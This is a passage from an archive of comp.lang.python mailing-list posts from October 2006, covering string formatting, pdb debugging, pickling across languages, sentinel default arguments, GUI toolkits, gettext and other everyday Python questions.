<1160060458.147062.193070@c28g2000cwb.googlegroups.com> References: <1160060458.147062.193070@c28g2000cwb.googlegroups.com> Message-ID: <4525475b$1@nntp0.pdx.net> Gal Diskin wrote: > Following a discussion with an associate at work about various ways to > build strings from variables in python, I'd like to hear your opinions > and preferred methods. The methods we discussed are: > 1. some_string = "cd %s ; %s %d %s %s" % ( working_dir, ssh_cmd, > some_count, some_param1, some_param2) ... Or another for readability: 4. some_string = ' '.join(["cd", working_dir, ";", ssh_cmd, str(some_count), some_param1, some_param2]) --Scott David Daniels scott.daniels at acm.org From noway at sorry.com Sat Oct 7 12:28:44 2006 From: noway at sorry.com (Giovanni Bajo) Date: Sat, 07 Oct 2006 16:28:44 GMT Subject: Python to use a non open source bug tracker? References: <22pUg.132825$zy5.1820633@twister1.libero.it><7xk63h232z.fsf@ruckus.brouhaha.com> <45240FD5.3050705@v.loewis.de><4n4Vg.135913$_J1.898276@twister2.libero.it> <45254B18.2090806@v.loewis.de><7x3ba1ltvj.fsf@ruckus.brouhaha.com> Message-ID: <0BQVg.138807$zy5.1859480@twister1.libero.it> Steve Holden wrote: >> I understand your concerns, but I have to remember you that most bug >> reports submitted by users go totally ignored for several years, or, >> better, forever. I do not have a correct statistic for this, but I'm >> confident that at least 80% of the RFE or patches filed every week >> is totally ignored, and probably at least 50% of the bugs too. I >> think there is a much bigger problem here wrt QOS. >> >> So, you might prefer 6-10 people to activate a new tracker account >> faster than light. I'd rather have 3-days delay in administrative >> issues because our single administrator is sleeping or whatever, and >> then have 2-3 people doing regular bug processing. > > ... and if wishes were horses then beggars would ride. Are you ever going to try and make a point which is not "you are not entitled to have opinions because you do not act"? Your sarcasm is getting annoying. And since I'm not trolling nor flaming, I think I deserve a little bit more of respect. -- Giovanni Bajo From rocky at panix.com Mon Oct 23 12:59:12 2006 From: rocky at panix.com (R. Bernstein) Date: 23 Oct 2006 12:59:12 -0400 Subject: Debugging References: Message-ID: Fulvio writes: > The previous post I might have missed some explaination on my proceeding. I'd > say that I'm testing a small program under pdb control > (python /usr/lib/python2.4/pdb.py ./myprog.py). So pdb will load myprog and > stop the first line code. > Once I'm at the pdb command line I can issue the commands available inside the > pdb itself. Okay. There's one other pydb command might be of interest. I mentioned the ability to issue debugger commands by giving the commands as a string in a command-line option, or putting the debugger commands in a file and giving the name of a file in a command-line option. However *inside* pydb, one can also run a canned set of debugger commands read in from a file. This is "source" command. Again, this is exactly analogous the command of the same name in gdb. Should you want to somehow build such a debugger script from an interactive debugging session, "set history" and "set logging" might be helpful. From bearophileHUGS at lycos.com Sat Oct 21 04:31:55 2006 From: bearophileHUGS at lycos.com (bearophileHUGS at lycos.com) Date: 21 Oct 2006 01:31:55 -0700 Subject: FOR statement In-Reply-To: References: <1161355135.268792.220290@f16g2000cwb.googlegroups.com> <453911b6$0$19616$88260bb3@free.teranews.com> <1161417033.963163.275300@i3g2000cwc.googlegroups.com> Message-ID: <1161419515.890462.193310@k70g2000cwa.googlegroups.com> Theerasak Photha: > I guess Python isn't tail-recursive then? Right. > Well, algorithms seem to be more naturally expressed iteratively in > Python, and to be fair, most uses of recursion you see in e.g., Scheme > textbooks are really just grandstanding in the real world. Still, some algorithms enjoy some recursivity anyway, like some graph or tree exploration, structure flattening, and so on, for them I sometimes use recursivity in Python too. The maximum recursivity level can be increased too. Stackeless Python probably helps in recursive code too. Psyco too. New Python versions have some optimizations for function calling and so on, than help. Often iterative code is the simpler solution, but sometimes recursivity is the simpler solution, so a "better" (faster, leaner) recursivity management may be good for a hi-level language like Python. So maybe in future people here will improve its recursivity use some more. Bye, bearophile From steve at holdenweb.com Tue Oct 3 02:30:41 2006 From: steve at holdenweb.com (Steve Holden) Date: Tue, 03 Oct 2006 07:30:41 +0100 Subject: Thread hijack: [was Re: php and python: how to unpickle using PHP?] In-Reply-To: <454FD769B559DD4BAC93B2CCA7BEBDBE8AD13A@namail2.corp.adobe.com> References: <4521721B.9040002@vtxmail.ch> <454FD769B559DD4BAC93B2CCA7BEBDBE8AD13A@namail2.corp.adobe.com> Message-ID: Ted Zeng wrote: > Hi, > > I store some test results into a database after I use python > To pickle them (say, misfiles=['file1','file2']) > > Now I want to display the result on a web page which uses PHP. > How could the web page unpickle the results and display them? > Is there a PHP routine that can do unpickle ? > > Ted zeng > Please don't generate a post by replying to somebody else's message and changing the subject and text: newsreader software will see your post as a part of the same thread and mix the two subjects, to everyone's confusion. regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From deets at nospam.web.de Sun Oct 29 15:55:06 2006 From: deets at nospam.web.de (Diez B. Roggisch) Date: Sun, 29 Oct 2006 21:55:06 +0100 Subject: "from module import *" and modifying module's top-level vars In-Reply-To: <1162153086.050052.51610@k70g2000cwa.googlegroups.com> References: <1162153086.050052.51610@k70g2000cwa.googlegroups.com> Message-ID: <4qkip8Fnait4U1@uni-berlin.de> lemke_juergen at yahoo.de schrieb: > Hi everyone, > > I define some vars and functions in a "support" module which gets > called from my > main app module. Using Python 2.5. > > I import all symbols in the support module at the top of the main > module through: > > from support import * > > Is there a way for me to modify a top-level ("global"?) variable > defined in module > support from the code in the main module and still have those changes > visible to > code in the support module? No. The from foo import * will create local bindings of the module-globals in the importing module, and there is no implicit link to the module's names. This is the main reason why the "from foo import *"-form is frowned upon, and you should refrain from using it. Use e.g. import support as s instead, to get a shorter name for referencing the support module. Diez From ptmcg at austin.rr._bogus_.com Fri Oct 6 14:56:28 2006 From: ptmcg at austin.rr._bogus_.com (Paul McGuire) Date: Fri, 06 Oct 2006 18:56:28 GMT Subject: extract certain values from file with re References: Message-ID: "Fabian Braennstroem" wrote in message news:mailman.1438.1160128294.10491.python-list at python.org... > Hi, > > I would like to remove certain lines from a log files. I had > some sed/awk scripts for this, but now, I want to use python > with its re module for this task. > > Actually, I have two different log files. The first file looks > like: > > ... > 'some text' > ... > > ITER I----------------- GLOBAL ABSOLUTE RESIDUAL -----------------I > I------------ FIELD VALUES AT MONITORING LOCATION ----------I > NO UMOM VMOM WMOM MASS T EN DISS ENTH > U V W P TE ED T > 1 9.70E-02 8.61E-02 9.85E-02 1.00E+00 1.61E+01 7.65E+04 0.00E+00 > 1.04E-01-8.61E-04 3.49E-02 1.38E-03 7.51E-05 1.63E-05 2.00E+01 > 2 3.71E-02 3.07E-02 3.57E-02 1.00E+00 3.58E-01 6.55E-01 0.00E+00 > 1.08E-01-1.96E-03 4.98E-02 7.11E-04 1.70E-04 4.52E-05 2.00E+01 > 3 2.64E-02 1.99E-02 2.40E-02 1.00E+00 1.85E-01 3.75E-01 0.00E+00 > 1.17E-01-3.27E-03 6.07E-02 4.02E-04 4.15E-04 1.38E-04 2.00E+01 > 4 2.18E-02 1.52E-02 1.92E-02 1.00E+00 1.21E-01 2.53E-01 0.00E+00 > 1.23E-01-4.85E-03 6.77E-02 1.96E-05 9.01E-04 3.88E-04 2.00E+01 > 5 1.91E-02 1.27E-02 1.70E-02 1.00E+00 8.99E-02 1.82E-01 0.00E+00 > 1.42E-01-6.61E-03 7.65E-02 1.78E-04 1.70E-03 9.36E-04 2.00E+01 > ... The pyparsing wiki includes an example (http://pyparsing.wikispaces.com/space/showimage/dictExample2.py) for parsing test data of the form: +-------+------+------+------+------+------+------+------+------+ | | A1 | B1 | C1 | D1 | A2 | B2 | C2 | D2 | +=======+======+======+======+======+======+======+======+======+ | min | 7 | 43 | 7 | 15 | 82 | 98 | 1 | 37 | | max | 11 | 52 | 10 | 17 | 85 | 112 | 4 | 39 | | ave | 9 | 47 | 8 | 16 | 84 | 106 | 3 | 38 | | sdev | 1 | 3 | 1 | 1 | 1 | 3 | 1 | 1 | +-------+------+------+------+------+------+------+------+------+ and accessing the parsed data (returned in the example in the variable 'data') as: print "data keys=", data.keys() print "data['min']=", data['min'] print "sum(data['min']) =", sum(data['min']) print "data.max =", data.max print "sum(data.max) =", sum(data.max) print "data.columns =", data.columns Giving: data keys= ['ave', 'min', 'sdev', 'columns', 'max'] data['min']= [7, 43, 7, 15, 82, 98, 1, 37] sum(data['min']) = 290 data.max = [11, 52, 10, 17, 85, 112, 4, 39] sum(data.max) = 330 data.columns = ['A1', 'B1', 'C1', 'D1', 'A2', 'B2', 'C2', 'D2'] Not too disimilar from your example. -- Paul From ask at me Thu Oct 26 07:49:25 2006 From: ask at me (alf) Date: Thu, 26 Oct 2006 07:49:25 -0400 Subject: PythonMagic - has any body played with it recently Message-ID: Hi, I downloaded the latest found version and untared it - but can not find any information how to install it. I guess it is boost based ... Has any body played with it recently? -- alf From Matthew.Warren at Digica.com Fri Oct 20 06:39:39 2006 From: Matthew.Warren at Digica.com (Matthew Warren) Date: Fri, 20 Oct 2006 11:39:39 +0100 Subject: Tkinter--does anyone use it for sophisticated GUI development? In-Reply-To: Message-ID: > -----Original Message----- > From: > python-list-bounces+matthew.warren=digica.com at python.org > [mailto:python-list-bounces+matthew.warren=digica.com at python.o > rg] On Behalf Of Fredrik Lundh > Sent: 20 October 2006 06:43 > To: python-list at python.org > Subject: Re: Tkinter--does anyone use it for sophisticated > GUI development? > > Kevin Walzer wrote: > > > Coming from Tcl/Tk, where there are a huge number of > extension packages > > to enhance the Tk widgets and which allow you to make > really polished > > GUI's, I'm struck mainly by how little of this stuff has > made it over > > into Tkinter/Python. For instance, I've developed several Tcl > > applications that use the core Tk widgets, the Tile theming > package, the > > Bwidget set (great tree widget and listbox, which allows > you to embed > > images), and tablelist (an extremely flexible muti-column listbox > > display). I've found Python wrappers for some of this > stuff, but almost > > no documentation on how to use them, and very little in the way of > > actual applications making use of them--which is itself a red flag. > > on the other hand, such wrappers are usually extremely > simple, and the > mapping between Python and Tk is trivial. there's simply not much to > add to the existing Tk module docs. > > > Am I better off biting the bullet and learning wxPython--a > different GUI > > paradigm to go with the new language I'm trying to learn? > > that's almost designed to get "wx rul3z d00d" replies from > the wx crowd. > let's see if they bite. > Weell, I'm in no position to evangelise it, but alongised other things for the past two or three weeks I've been looking into different gui building tools for python, wxDesigner, BoaConstructor, pythonCard and a couple of others using both tkInter and wxPython. I've given up trying to find a good one who's method of operation was quick to pick up, and I've since written the basics of my GUI by hand in TkInter and now wxPython (was doing that last night as it goes). ..aand so far wxPython is winning easily on the hand-coded front, especially once you find the demo package and use it. TkInter took me 3 or 4 days without help to work out and build what I needed. WxPython took an evening and 1 usenet post. And I think it looks much nicer. I've yet to see what happens with the event loop of either when I start to use the threaded scheduler I need in the app but hey... Matt. (in wrong place to get to google groups again.. As always apologies for appended text) -- This email is confidential and may be privileged. If you are not the intended recipient please notify the sender immediately and delete the email from your computer. You should not copy the email, use it for any purpose or disclose its contents to any other person. Please note that any views or opinions presented in this email may be personal to the author and do not necessarily represent the views or opinions of Digica. It is the responsibility of the recipient to check this email for the presence of viruses. Digica accepts no liability for any damage caused by any virus transmitted by this email. UK: Phoenix House, Colliers Way, Nottingham, NG8 6AT UK Reception Tel: + 44 (0) 115 977 1177 Support Centre: 0845 607 7070 Fax: + 44 (0) 115 977 7000 http://www.digica.com SOUTH AFRICA: Building 3, Parc du Cap, Mispel Road, Bellville, 7535, South Africa Tel: + 27 (0) 21 957 4900 Fax: + 27 (0) 21 948 3135 http://www.digica.com From gagsl-py at yahoo.com.ar Fri Oct 27 22:00:52 2006 From: gagsl-py at yahoo.com.ar (Gabriel Genellina) Date: Fri, 27 Oct 2006 23:00:52 -0300 Subject: Sentinel values for special cases In-Reply-To: <87zmbhcnd6.fsf@benfinney.id.au> References: <7.0.1.0.0.20061027162224.03fe9e38@yahoo.com.ar> <87zmbhcnd6.fsf@benfinney.id.au> Message-ID: <7.0.1.0.0.20061027224818.01240f28@yahoo.com.ar> At Friday 27/10/2006 21:09, Ben Finney wrote: > > > > GLOBAL = object() > > > > > > > > def insert_ids(ids=GLOBAL): > > > > if ids is GLOBAL: > > > > ids = get_global_ids() > > > > > >The one disadvantage of this approach is that it complicates > > >pickling if/when you store the stentinel in an instance. There are > > >ways of working around that, but none are pleasant. > > > > But why should you store the sentinel in an instance? It's only > > purpose is to detect a special case in the parameter, when None is > > not appropiate. > >You might be storing values that will later become parameters to the >function. > > ids_to_be_processed_later = { > 'chin': [14, 7, 9], > 'bin': foo.GLOBAL, > 'fin': [74, 98, 12], > } > serialise_stuff() Well... just don't do that! :) Instead of a dict, use another class instance with a class attribute (like on my earlier post). -- Gabriel Genellina Softlab SRL __________________________________________________ Correo Yahoo! Espacio para todos tus mensajes, antivirus y antispam ?gratis! ?Abr? tu cuenta ya! - http://correo.yahoo.com.ar From paddy3118 at netscape.net Sat Oct 7 01:49:31 2006 From: paddy3118 at netscape.net (Paddy) Date: 6 Oct 2006 22:49:31 -0700 Subject: n-body problem at shootout.alioth.debian.org In-Reply-To: <1160168050.069336.61710@i3g2000cwc.googlegroups.com> References: <1160168050.069336.61710@i3g2000cwc.googlegroups.com> Message-ID: <1160200171.328938.158800@i42g2000cwa.googlegroups.com> bearophileHUGS at lycos.com wrote: > skip at pobox.com wrote: > > Ah, wait a moment. One more tweak. Make the body class a psyco class. > > That improves the runtime to 3.02s. Diff appended. > > Nice. Maybe you can do the same trick with: > from psyco.classes import __metaclass__ > > If you want you can try that trick with this version of mine: > http://shootout.alioth.debian.org/sandbox/benchmark.php?test=nbody&lang=psyco&id=3 > > (I can't try it, precompiled Psyco doesn't exists yet for Py2.5). If > it's faster, then I can upload some modified version... > > Bye, > bearophile You might also put the outer loop calling function advance so many times, into the advance function: ========== def advance(bodies, dt, n) : for i in xrange(n) : for i,b in enumerate(bodies) : ... def main() : ... advance(bodies, 0.01, n) ========== This I like. It points to areas of python where maybe we should be adding to the standard library whilst also showing off the cream of the non-standard libraries out their. - Paddy. From skip at pobox.com Tue Oct 24 13:04:39 2006 From: skip at pobox.com (skip at pobox.com) Date: Tue, 24 Oct 2006 12:04:39 -0500 Subject: Current stackdepth outside PyEval_EvalFrameEx In-Reply-To: <200610241850.34018.fabianosidler@gmail.com> References: <200610230220.47741.fabianosidler@gmail.com> <200610241850.34018.fabianosidler@gmail.com> Message-ID: <17726.18343.179232.927732@montanaro.dyndns.org> >> I'm trying to implement a python function that returns the current >> stack depth of its frame. Maybe sys._getframe() or traceback.extract_stack()? Skip From MrJean1 at gmail.com Fri Oct 6 10:06:21 2006 From: MrJean1 at gmail.com (MrJean1) Date: 6 Oct 2006 07:06:21 -0700 Subject: profiling memory usage In-Reply-To: <1160090510.346379.285400@c28g2000cwb.googlegroups.com> References: <1160090510.346379.285400@c28g2000cwb.googlegroups.com> Message-ID: <1160143581.833545.32310@e3g2000cwe.googlegroups.com> The latest Python release 2.5 includes improvements to the memory manager and *may* work better for you, it all depends on the root cause of the problem. For more details, see the 5th bullet on this page . /Jean Brouwers Eddie wrote: > Hi, > > I am looking for a method to profile memory usage in my python program. > The program provides web service and therefore is intended to run for a > long time. However, the memory usage tends to increase all the time, > until in a day or two the system cannot handle it any more and starts > to do constant swapping. Is there a way to look at which objects or > variables are taking the huge amount of memory space? > > Thanks, > > Eddie From johnjsal at NOSPAMgmail.com Wed Oct 25 15:22:33 2006 From: johnjsal at NOSPAMgmail.com (John Salerno) Date: Wed, 25 Oct 2006 19:22:33 GMT Subject: question about True values In-Reply-To: <1161803802.110116.127470@m7g2000cwm.googlegroups.com> References: <7x4ptsi544.fsf@ruckus.brouhaha.com> <1161803802.110116.127470@m7g2000cwm.googlegroups.com> Message-ID: John Coleman wrote: > But then why is 3.0 == 3 true? They are different types. > Good question. Does one type get converted to the other automatically? That's all I can think of... From hanumizzle at gmail.com Fri Oct 6 04:48:04 2006 From: hanumizzle at gmail.com (hanumizzle) Date: Fri, 6 Oct 2006 04:48:04 -0400 Subject: help on pickle tool In-Reply-To: <1160124108.779860.236940@i3g2000cwc.googlegroups.com> References: <1160110375.999662.268560@k70g2000cwa.googlegroups.com> <1160124108.779860.236940@i3g2000cwc.googlegroups.com> Message-ID: <463ff4860610060148t6de6cd45ge437f37e02f2c5ad@mail.gmail.com> On 6 Oct 2006 01:41:48 -0700, virg <06virg at gmail.com> wrote: > Hi, > The data is simple dictionary with one or more keys. If i use YAML at > the client (webui) do i have to change serialisation method to YAML at > server also. Without changing serialisation method at server, can i use > any of the deserialisation methods at the client. We cannot change the > serialisation methods at the server since it is not under our control. Oh, poopy. What do you have at the server end? -- Theerasak From http Wed Oct 4 06:23:36 2006 From: http (Paul Rubin) Date: 04 Oct 2006 03:23:36 -0700 Subject: What value should be passed to make a function use the default argument value? References: <1159906617.790518.323860@m7g2000cwm.googlegroups.com> <7xwt7gqwb3.fsf@ruckus.brouhaha.com> Message-ID: <7xac4cpefr.fsf@ruckus.brouhaha.com> Antoon Pardon writes: > Now in this case you could start by assigning arg the value 1 and > eliminate the if test. However that only works if you know the > default value for the argument. What he seems to be asking for > is if there is an object, (let as call it Default), that would > make code like: > > def f(var=1): > > Equivallent to: > > def f(var=Default) > if var is Default) > var = 1 Oh, I see. Yes, the OP should just use a distinct default value instead of 1. I usually do this with sentinel = object() def f(var=sentinel): if var is sentinel: # f was called without an arg From onurb at xiludom.gro Tue Oct 24 06:29:17 2006 From: onurb at xiludom.gro (Bruno Desthuilliers) Date: Tue, 24 Oct 2006 12:29:17 +0200 Subject: [OT] Re: can't open word document after string replacements In-Reply-To: <30f41$453de7c9$544abf75$16552@news.hispeed.ch> References: <5e2e9$453dbff7$544abf75$9155@news.hispeed.ch> <453dd1b8$0$15214$426a74cc@news.free.fr> <30f41$453de7c9$544abf75$16552@news.hispeed.ch> Message-ID: <453deaff$0$11813$426a74cc@news.free.fr> Antoine De Groote wrote: > Bruno Desthuilliers wrote: >> Antoine De Groote wrote: >>> Hi there, >>> >>> I have a word document containing pictures and text. This documents >>> holds several 'ABCDEF' strings which serve as a placeholder for names. >>> Now I want to replace these occurences with names in a list (members). >> >> Do you know that MS Word already provides this kind of features ? > > > No, I don't. Sounds interesting... What is this feature called? I don't know how it's named in english, but in french it's (well - it was last time I used MS Word, which is quite some times ago???) "fusion de documents". -- bruno desthuilliers python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for p in 'onurb at xiludom.gro'.split('@')])" From fredrik at pythonware.com Wed Oct 25 16:36:52 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Wed, 25 Oct 2006 22:36:52 +0200 Subject: cleaner way to write this? In-Reply-To: <7x4ptsxigt.fsf@ruckus.brouhaha.com> References: <7xwt6o44um.fsf@ruckus.brouhaha.com> <%dO%g.151$1n3.4135@news.tufts.edu> <7x8xj4i5gq.fsf@ruckus.brouhaha.com> <2qP%g.161$1n3.4136@news.tufts.edu> <7x4ptsxigt.fsf@ruckus.brouhaha.com> Message-ID: Paul Rubin wrote: >> but given that try/except and try/finally used to be separate >> blocks, > > That old separation was just an artifact of how the parser was > originally written, I believe. $ more Misc/HISTORY New features in 0.9.6: - stricter try stmt syntax: cannot mix except and finally clauses on 1 try From MonkeeSage at gmail.com Sat Oct 7 21:34:05 2006 From: MonkeeSage at gmail.com (MonkeeSage) Date: 7 Oct 2006 18:34:05 -0700 Subject: Can't get around "IndexError: list index out of range" In-Reply-To: <1160269607.522241.311160@m73g2000cwd.googlegroups.com> References: <1159913403.234324.209750@e3g2000cwe.googlegroups.com> <1160179043.266322.311940@i3g2000cwc.googlegroups.com> <1160198110.064741.133700@k70g2000cwa.googlegroups.com> <1160241982.216511.281950@m73g2000cwd.googlegroups.com> <1160262952.734016.306150@e3g2000cwe.googlegroups.com> <452846fe.0@entanet> <1160267115.309599.26160@e3g2000cwe.googlegroups.com> <1160269607.522241.311160@m73g2000cwd.googlegroups.com> Message-ID: <1160271245.931903.9330@k70g2000cwa.googlegroups.com> On Oct 7, 8:06 pm, "MonkeeSage" wrote: > More often and easier to implement than dict.has_key / get? More -> Less From bearophileHUGS at lycos.com Fri Oct 6 16:54:10 2006 From: bearophileHUGS at lycos.com (bearophileHUGS at lycos.com) Date: 6 Oct 2006 13:54:10 -0700 Subject: n-body problem at shootout.alioth.debian.org In-Reply-To: References: Message-ID: <1160168050.069336.61710@i3g2000cwc.googlegroups.com> skip at pobox.com wrote: > Ah, wait a moment. One more tweak. Make the body class a psyco class. > That improves the runtime to 3.02s. Diff appended. Nice. Maybe you can do the same trick with: from psyco.classes import __metaclass__ If you want you can try that trick with this version of mine: http://shootout.alioth.debian.org/sandbox/benchmark.php?test=nbody&lang=psyco&id=3 (I can't try it, precompiled Psyco doesn't exists yet for Py2.5). If it's faster, then I can upload some modified version... Bye, bearophile From 06virg at gmail.com Fri Oct 6 00:52:56 2006 From: 06virg at gmail.com (virg) Date: 5 Oct 2006 21:52:56 -0700 Subject: help on pickle tool Message-ID: <1160110375.999662.268560@k70g2000cwa.googlegroups.com> Hi, i have client-server application which is written in python using XMLRPC protocol. The existing client is a command line. Now client application we are converting it as Web UI using java. I have seen some problems in writing a java client. At the server for each request from client, the server sends a response in hashtable and is serialized using "pickle". The python function we call at the server is pickle.dumps(r, 2) -- where r is a hash table which needs to be serialized At the client (existing client which in python) we use this call to get the original data. r = pickle.loads(result) Since i am writing this client as Web UI client using java, i am not able to deserialize this data using java function "ObjectInputStream" and "ObjectInputStream" which are most common functions for deserialization and i getting error as invalid header. Is it possible to deserialize the data by java which serialized by Python or is there any compatibility issue. Is there any equivalent pickle tool on java which supports this operation. so that i can use across languages. Because of this problem i am not able to proceed further. Any body has any pointers for this problem. Any help is highly appreciated Thanks in advance regards Virg From fortepianissimo at gmail.com Mon Oct 23 00:21:38 2006 From: fortepianissimo at gmail.com (fortepianissimo) Date: 22 Oct 2006 21:21:38 -0700 Subject: question about xmlrpc server: returning a list of lists to a Java client? Message-ID: <1161577298.179454.140370@m7g2000cwm.googlegroups.com> I have a simple xmlrpc server/client written in Python, and the client throws a list of lists to the server and gets back a list of lists. This runs without a problem. I then wrote a simple Java xmlrpc client and it calls the python server. But I can't figure out what type to cast the result (of type Object) to. The Java xmlrpc call is basically this: Object result = client.execute("MyFunction", params); And I tried to replace that line with Vector result = (Vector) client.execute("MyFunction", params); and ArrayList result = (ArrayList) client.execute("MyFunction", params); and both gave me java.lang.ClassCastException. I'm really not a Java expert - anyone can give a hint or two? (NOTE the java client/python server works well when the returning result is of type string - so this rules out some other possible problems) Thanks a lot! From vedran_dekovic at yahoo.com Sun Oct 15 09:41:39 2006 From: vedran_dekovic at yahoo.com (vedran_dekovic at yahoo.com) Date: 15 Oct 2006 06:41:39 -0700 Subject: Where I can find Message-ID: <1160919699.354038.213920@k70g2000cwa.googlegroups.com> Hello, Where I can find this files(modules): fcntl,FCNTL,tty,termios, TERMIOS THANKS!!!!!!!!!!! From gagsl-py at yahoo.com.ar Mon Oct 2 18:25:27 2006 From: gagsl-py at yahoo.com.ar (Gabriel Genellina) Date: Mon, 02 Oct 2006 19:25:27 -0300 Subject: Python In-Reply-To: <3671C2002ECC9149B2B5509290F533A6457885@fiscex.FISCHERINTER NATIONAL.COM> References: <3671C2002ECC9149B2B5509290F533A6457885@fiscex.FISCHERINTERNATIONAL.COM> Message-ID: <7.0.1.0.0.20061002191820.03e7d9f8@yahoo.com.ar> At Monday 2/10/2006 10:47, Bryan Leber wrote: >Sorry to bother you again, but I just wanted to give you an update >since you have generously helped me. I have it working kind of. I >had to fudge it a little bit lol. For some reason if it reads a text >file, it will pull out the information and print it to the >appropriate file, but if it reads straight from the sys.argv[3] to >the pullerList, that's where it has issues, so now I am just writing >what is in sys.argv[3] to a text file, then going back and reading >it into the pullerList and it seems to be working fine.:) Now onto >some polishing up of it. Thanks a lot! Ah, I guess you are using readlines() to read the file? From the command line you'll get "line one\nline two\nline three" so you'll have to split it: lines = received_argument.split('\n') or perhaps: lines = received_argument.split('\\n') (I'm not sure if all involved parties interpret \n the same way...) > >---------- Gabriel Genellina Softlab SRL __________________________________________________ Pregunt?. Respond?. Descubr?. Todo lo que quer?as saber, y lo que ni imaginabas, est? en Yahoo! Respuestas (Beta). ?Probalo ya! http://www.yahoo.com.ar/respuestas From Laundro at gmail.com Tue Oct 31 06:36:08 2006 From: Laundro at gmail.com (LaundroMat) Date: 31 Oct 2006 03:36:08 -0800 Subject: Help me understand this iterator Message-ID: <1162294568.168728.178270@m73g2000cwd.googlegroups.com> Hi, I've found this script over at effbot (http://effbot.org/librarybook/os-path.htm), and I can't get my head around its inner workings. Here's the script: import os class DirectoryWalker: # a forward iterator that traverses a directory tree def __init__(self, directory): self.stack = [directory] self.files = [] self.index = 0 def __getitem__(self, index): while 1: try: file = self.files[self.index] self.index = self.index + 1 except IndexError: # pop next directory from stack self.directory = self.stack.pop() self.files = os.listdir(self.directory) self.index = 0 else: # got a filename fullname = os.path.join(self.directory, file) if os.path.isdir(fullname) and not os.path.islink(fullname): self.stack.append(fullname) return fullname for file in DirectoryWalker("."): print file Now, if I look at this script step by step, I don't understand: - what is being iterated over (what is being called by "file in DirectoryWalker()"?); - where it gets the "index" value from; - where the "while 1:"-loop is quitted. Thanks in advance, Mathieu From marijuanated at gmail.com Tue Oct 31 23:34:53 2006 From: marijuanated at gmail.com (marijuanated at gmail.com) Date: 31 Oct 2006 20:34:53 -0800 Subject: Updating XML using XPath Message-ID: <1162355693.760367.114040@i42g2000cwa.googlegroups.com> Hi All, Is there a way that I can update the attributes of an XML node and MAKE IT PERSISTENT in the XML file through the Python XPath API? I tried the setContent method of the Node but i am only able to update the node variable not the file content itself. Thanks, Sundar From paolopantaleo at gmail.com Mon Oct 23 11:15:29 2006 From: paolopantaleo at gmail.com (Paolo Pantaleo) Date: Mon, 23 Oct 2006 17:15:29 +0200 Subject: Screen capture on Linux In-Reply-To: <463ff4860610220915q7b609780u9cb6b418c529a6ef@mail.gmail.com> References: <1161533213.744934.67170@e3g2000cwe.googlegroups.com> <463ff4860610220915q7b609780u9cb6b418c529a6ef@mail.gmail.com> Message-ID: <83e8215e0610230815r155a5e0ejf867e41246ce787a@mail.gmail.com> Thnx everybody for the help, actually I need somethin slightly different. I found about some external process that can capture the screen, but since I need to captyre the screen up to 4-5 times a second, I don't want to fork a new process every time, so I was looking for some library...[This method works good on Windows] If needed, I was thinking to write a C module too. I never did it before, but I am a not so bad C programmer... any suggestion? What code can I read and eventually reuse? Would the xwd be useful? Anyway doesn't it exist a Python binding for let's say X APIs ? [I know about nothing about X programing] 2006/10/22, Theerasak Photha : > On 22 Oct 2006 09:06:53 -0700, sjdevnull at yahoo.com wrote: > > Paolo Pantaleo wrote: > > > Hi, > > > > > > I need to capture a screen snapshot in Linux. PIL has a module > > > IageGrab, but in the free version it only works under Windows. Is > > > there any package to capture the screen on Linux? > > > > xwd comes with the X server. man xwd > > > > Most useful is "xwd -root" or similar. You may want "sleep 5; xwd > > -root" to give you some time to set things up as needed, or map it to a > > window manager keybinding. > > The problem with that is that xwd format is a non-standard format, and > *uncompressed* on top of that. If he wants to distribute the image to > friends, or whatever, he'll have to convert it to something like png > anyway. If he's using Linux, he probably doesn't need to use xwd > anyway and might as well save himself the effort (and HD space) now. > > -- Theerasak > -- > http://mail.python.org/mailman/listinfo/python-list > From russ.phillips.nospam at googlemail.com Sat Oct 28 04:04:29 2006 From: russ.phillips.nospam at googlemail.com (russ.phillips.nospam at googlemail.com) Date: 28 Oct 2006 01:04:29 -0700 Subject: gettext on Windows Message-ID: <1162022669.684710.182530@m7g2000cwm.googlegroups.com> Hi, I'm trying to use gettext to internationalise my project [1], but I'm getting the following error message with some translations: "Traceback (most recent call last): file PanicButton.py line 36 in ? file Gettext.pyc line 177 in _init_ file Gettext.pyc line 274 in _parse struct.error : unpack str size does not match format" The snippet of code that loads the .mo file is below: # Code to find & install l10n file import gettext, os, locale, glob loc = locale.getdefaultlocale () sLocale = loc [0] #Use translation file with same name as locale if it exists if (os.path.exists (os.path.join ('locale', sLocale + '.mo'))): sLang = os.path.join ('locale', sLocale + '.mo') else: #find a .mo file that matches the first part (first three characters) of the locale sMoFiles = glob.glob (os.path.join ('locale', sLocale [:3] + '*.mo')) if (len (sMoFiles) > 0): sLang = sMoFiles [0] else: #Could not find exact or partial match for locale - use default translation file (British English) sLang = os.path.join ('locale', 'en_GB.mo') lan = gettext.GNUTranslations (open (sLang)) lan.install () # End of code to find & install l10n file I *think* the problem is a unicode problem - it only seems to appear when the translated file uses unicode strings. Is the problem in the code that loads the .mo file - do I need to make it use unicode? Or do the strings that are to be translated have to be marked as unicode? Full sourcecode is available via the SF.net project page [1], if required. Russ [1] http://sourceforge.net/projects/panicbutton From sybrenUSE at YOURthirdtower.com.imagination Tue Oct 17 13:44:14 2006 From: sybrenUSE at YOURthirdtower.com.imagination (Sybren Stuvel) Date: Tue, 17 Oct 2006 19:44:14 +0200 Subject: building extensions for Windows Python References: <1160756760.071171.298590@b28g2000cwb.googlegroups.com> Message-ID: JW enlightened us with: > Thanks to Michael and Nick, I can now cross-compile my Pyrex > extensions for bog-standard Python 2.5 [...] I can now use Linux to > cross-build my extension for Windows, and my preliminary testing > (under WINE -- See the original post. I must adhere to my > employment contract!) seems to show that it works. Congratulations! Sybren -- Sybren St??vel St??vel IT - http://www.stuvel.eu/ From almondb at gmail.com Wed Oct 4 19:57:35 2006 From: almondb at gmail.com (Brian) Date: 4 Oct 2006 16:57:35 -0700 Subject: Python crash when trying to generate an Excel worksheet with VBA macros In-Reply-To: <1159959227.175800.141450@m7g2000cwm.googlegroups.com> References: <1159959227.175800.141450@m7g2000cwm.googlegroups.com> Message-ID: <1160006255.849266.203110@i3g2000cwc.googlegroups.com> dan_roman wrote: > Hi, > I developed a script with a nice interface in Tkinter that allows me to > edit some formulas and to generate an Excel worksheet with VBA macros > within it. The script runs perfectlly in Office 2000, but in Office > 2003 crash at line: "wbc = 